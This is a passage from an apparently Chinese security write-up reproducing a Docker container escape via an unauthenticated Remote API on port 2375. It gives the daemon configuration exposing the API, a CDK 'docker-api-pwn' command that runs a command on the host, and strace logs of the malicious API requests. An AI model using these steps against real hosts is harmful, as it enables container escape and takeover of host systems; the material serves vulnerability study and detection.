mac docker中无法访问宿主机端口

四、漏洞复现

环境搭建

• ubuntu 20.04
• docker 23.0.2

打开docker远程访问API：

1. 打开/usr/lib/systemd/system/docker.service文件，在[service]的ExeStart=...后面追加：

-H tcp://0.0.0.0:2375 -H unix:///var/run/docker.sock

即：ExecStart=/usr/bin/dockerd -H fd:// --containerd=/run/containerd/containerd.sock -H tcp://0.0.0.0:2375 -H unix:///var/run/docker.sock

2. 重启生效

systemctl daemon-reload # 重新加载配置文件
systemctl restart docker

运行攻击容器：

docker run --rm -it --name=docker-api-pwn -v /root/cdk:/cdk ubuntu:20.04 bash

利用：

# in container
./cdk run docker-api-pwn http://127.0.0.1:2375 "touch /host/tmp/docker-api-pwn"	#ip地址改为宿主机地址或在创建容器时使用host网络
ls /tmp/docker-api-pwn

效果：宿主机上出现/tmp/docker-api-pwn文件，完成远程任意命令执行，逃逸成功。

五、漏洞行为数据分析

1. 检查Docker Remote API是否开启。

264   01:39:19.448323 rt_sigreturn({mask=[]}) = 3 <0.000016>
264   01:39:19.448394 socket(AF_INET, SOCK_STREAM|SOCK_CLOEXEC|SOCK_NONBLOCK, IPPROTO_IP) = 3 <0.000020>
264   01:39:19.448443 connect(3, {sa_family=AF_INET, sin_port=htons(2375), sin_addr=inet_addr("172.31.102.241")}, 16) = -1 EINPROGRESS (Operation now in progress) <0.000269>
264   01:39:19.448791 epoll_ctl(4, EPOLL_CTL_ADD, 3, {EPOLLIN|EPOLLOUT|EPOLLRDHUP|EPOLLET, {u32=293859544, u64=140458609340632}}) = 0 <0.000010>
264   01:39:19.448845 epoll_pwait(4, [{EPOLLOUT, {u32=293859544, u64=140458609340632}}], 128, 0, NULL, 0) = 1 <0.000017>
264   01:39:19.448922 getsockopt(3, SOL_SOCKET, SO_ERROR, [0], [4]) = 0 <0.000009>
264   01:39:19.448962 getpeername(3, {sa_family=AF_INET, sin_port=htons(2375), sin_addr=inet_addr("172.31.102.241")}, [112->16]) = 0 <0.000009>
264   01:39:19.449007 getsockname(3, {sa_family=AF_INET, sin_port=htons(40088), sin_addr=inet_addr("172.17.0.4")}, [112->16]) = 0 <0.000009>
264   01:39:19.449049 setsockopt(3, SOL_TCP, TCP_NODELAY, [1], 4) = 0 <0.000009>
264   01:39:19.449085 setsockopt(3, SOL_SOCKET, SO_KEEPALIVE, [1], 4) = 0 <0.000009>
264   01:39:19.449120 setsockopt(3, SOL_TCP, TCP_KEEPINTVL, [30], 4) = 0 <0.000009>
264   01:39:19.449156 setsockopt(3, SOL_TCP, TCP_KEEPIDLE, [30], 4) = 0 <0.000009>
264   01:39:19.449263 read(3, 0xc0001a8000, 4096) = -1 EAGAIN (Resource temporarily unavailable) <0.000010>
264   01:39:19.449352 write(3, "GET /info HTTP/1.1\r\nHost: 172.31"..., 136) = 136 <0.004713>
264   01:39:19.454111 epoll_pwait(4, [], 128, 0, NULL, 0) = 0 <0.000009>
264   01:39:19.454152 epoll_pwait(4,  <unfinished ...>
265   01:39:19.458155 <... nanosleep resumed>NULL) = 0 <0.010050>
265   01:39:19.458187 futex(0xe91c20, FUTEX_WAIT_PRIVATE, 0, {tv_sec=60, tv_nsec=0} <unfinished ...>
264   01:39:19.471125 <... epoll_pwait resumed>[{EPOLLIN|EPOLLOUT, {u32=293859544, u64=140458609340632}}], 128, -1, NULL, 0) = 1 <0.016960>
264   01:39:19.471182 futex(0xe91c20, FUTEX_WAKE_PRIVATE, 1) = 1 <0.000012>
265   01:39:19.471213 <... futex resumed>) = 0 <0.013009>
265   01:39:19.471229 sched_yield()     = 0 <0.000010>
265   01:39:19.471261 futex(0xe91b38, FUTEX_WAIT_PRIVATE, 2, NULL <unfinished ...>
264   01:39:19.471284 futex(0xe91b38, FUTEX_WAKE_PRIVATE, 1) = 1 <0.000011>
265   01:39:19.471311 <... futex resumed>) = 0 <0.000040>
265   01:39:19.471326 futex(0xe91b38, FUTEX_WAKE_PRIVATE, 1) = 0 <0.000019>
265   01:39:19.471367 epoll_pwait(4, [], 128, 0, NULL, 0) = 0 <0.000007>
265   01:39:19.471398 nanosleep({tv_sec=0, tv_nsec=20000},  <unfinished ...>
264   01:39:19.471426 read(3, "HTTP/1.1 200 OK\r\nApi-Version: 1."..., 4096) = 2793 <0.000014>

2. 向Docker Remote API发送构造好的恶意HTTP数据包，创建一个带不安全挂载的恶意容器。*

264   01:39:26.915419 write(3, "POST /containers/create HTTP/1.1"..., 522 <unfinished ...>
265   01:39:26.915457 <... nanosleep resumed>NULL) = 0 <0.000183>
264   01:39:26.915475 <... write resumed>) = 522 <0.000041>

3. 启动恶意容器，执行指定命令，实现逃逸。

264   01:39:27.331880 write(3, "POST /containers/4da26d930eeb36b"..., 233 <unfinished ...>
265   01:39:27.331909 <... nanosleep resumed>NULL) = 0 <0.000164>
264   01:39:27.331928 <... write resumed>) = 233 <0.000033>